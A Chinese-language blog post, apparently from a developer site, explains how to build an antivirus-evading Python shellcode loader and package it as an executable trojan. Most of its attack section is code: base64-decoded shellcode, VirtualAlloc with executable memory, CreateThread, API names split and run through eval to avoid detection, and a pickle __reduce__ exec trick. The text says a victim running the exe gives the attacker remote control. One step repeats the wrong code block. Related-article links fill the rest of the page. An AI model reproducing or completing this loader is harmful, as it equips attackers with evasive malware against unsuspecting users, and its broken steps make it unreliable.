多年的实战经验,告诉你的免杀实录!

简介: 多年的实战经验,告诉你的免杀实录!

生成shellcode加载器,不论什么语言都能实现。从应用最广的Java和Pytho语言选择,我用Python实现shellcode加载器,原因2点:

      (1)Java开发shellcode加载器,最终打成.exe包远远大于Python,谁愿意下载一个几十M的文件呢?(2)因为自己有一定的Python基础,所以这里对Python实现的源码来进行分析。



一、首先我们生成一个Python的马,如下图:

二、对Python生成shellcode源码分析

1. Ctypes

由于Python不能对内存进行操作,可以用ctypes跟c进行交互,用c操作内存

import ctypes,codecs,base64

# 64位编码

shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj"
# base64解码
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

2. 申请内存

  1. ctypes 是Python跟c交互的外部函数,用c分配内存,需要把数据转换为c的数据类型
  2. 参数:要分配的内存区域的地址、分配的大小、分配的类型、该内存的初始保护属性
  3. VirtualAlloc:分配大块内存,可用于 进程A和进程B之间通过共享内存来通信
  4. 该函数一个特性:可以预定指针地址和大小的虚拟内存空间,如果系统有足够大的空置区域能满足需求,则系统会将该块区域预定下来并返回预定内存的基地址,否则返回NULL
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

3. 放入shellcode

  1. 指定内存复制内存至buf里面
  2. 参数:指向移动目的地址的指针、指向要复制的内存地址的指针、指定要复制的字节数
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

4.创建一个线程

  1. 参数说明:指向安全属性的指针、初始堆栈大小、指向起始地址的指针、指向任何参数的指针、创建标志、指向接收线程标识符的值的指针
  2. 调用时,系统将创建一个进程和一个主线程,CreateThread将在主线程的基础上创建一个新线程
d = 'ctypes.windll.kernel32.' + 'CreateThread'
ht = eval(d)(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

5. 等待上面创建的线程运行完

e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject'
eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))

6. 调用

class A(object):
  def __reduce__(self):
      return (exec, (shellcode,))
__reduce__ 被定义之后,对象被pickle之后被调用
ret = pickle.dumps(A())
print(ret)
pickle.loads(ret)

7. 最终达到目的

最后生成exe可执行文件

用户直接 执行exe,便种下一个免杀木马,攻击者便可以远控你的电脑

8. 最后测试木马免杀效果

9. 然后给沙箱

相关文章
|
搜索推荐
为什么每个公司都在做自己的OA系统,但是依然没有取代钉钉
为什么每个公司都在做自己的OA系统,但是依然没有取代钉钉
|
11月前
|
Ubuntu Linux Shell
Linux系统密码忘记
【10月更文挑战第2天】在Linux系统中,若忘记密码,可以通过单用户模式或使用Live CD/USB来重置。对于Ubuntu系统,可通过GRUB引导菜单进入单用户模式,利用命令行重置密码;或使用Live CD/USB启动并挂载硬盘分区后修改密码文件。CentOS系统同样支持单用户模式重置密码,也可借助安装介质进入救援模式,挂载文件系统后进行密码重置。这些方法均能在忘记密码的情况下帮助恢复系统访问。
445 3
|
Java Python
2021Kali系列 -- BurpSuite(sqlmap插件)
2021Kali系列 -- BurpSuite(sqlmap插件)
307 0
|
消息中间件 缓存 人工智能
RocketMQ 在业务消息场景的优势详解
RocketMQ 在业务消息场景的优势详解
22013 100
|
Linux API 图形学
OpenGL生态中的GL, GLU, GLUT, GLX, GLEW, GLEE和GLEXT详解
该文介绍了OpenGL生态系统中的关键组件,包括GL(基础绘图API)、GLU(提供辅助函数)、GLUT(窗口管理和事件处理)、GLX(X Window系统上的OpenGL扩展)、GLEW和GLEE(动态查询和封装OpenGL扩展)以及GLEXT(OpenGL扩展集合)。这些库和工具协同工作,帮助开发者构建跨平台的图形应用程序,提升兼容性与功能。理解它们的作用对优化OpenGL编程至关重要。
idea+git实现提交自动去除无用import以及格式化代码
idea+git实现提交自动去除无用import以及格式化代码
741 0
|
安全 关系型数据库 MySQL
渗透测试——xss-labs环境部署
渗透测试——xss-labs环境部署
736 0
|
运维 关系型数据库 MySQL
绕过360安全卫士提权实战案例
绕过360安全卫士提权实战案例
749 1
|
SQL 安全 架构师
基于JSP的网上购物系统的设计与实现(论文+源码)_kaic
近些年来,社会的生产力和科技水平在不断提高,互联网技术也在不断更新升级,网络在人们的日常生活中扮演着一个重要角色,它极大地方便了人们的生活。为了让人们实现不用出门就能逛街购物,网络购物逐渐兴起慢慢变得成熟,现在的电子商城正十分流行,越来越多的商家在网上建起在线商店,这无疑向消费者展现出了一种全新的购物理念,网上购物系统开发具有很多意义其中最主要的是既可以对公司自身所拥有的产品进行出售,同时也可以为公司自己的产品品牌进行宣扬。同时便于推广与运营。与此同时,本系统的网站构图比较精美,是根据线下调查一些大学生对购物商城的浏览体验得出结论后制作的。原因是很多人都认为有个精美的页面是一次愉快购物的开始,
|
Java 应用服务中间件 Maven
IDEA设置运行tomcat即生成war包
IDEA设置运行tomcat即生成war包

热门文章

最新文章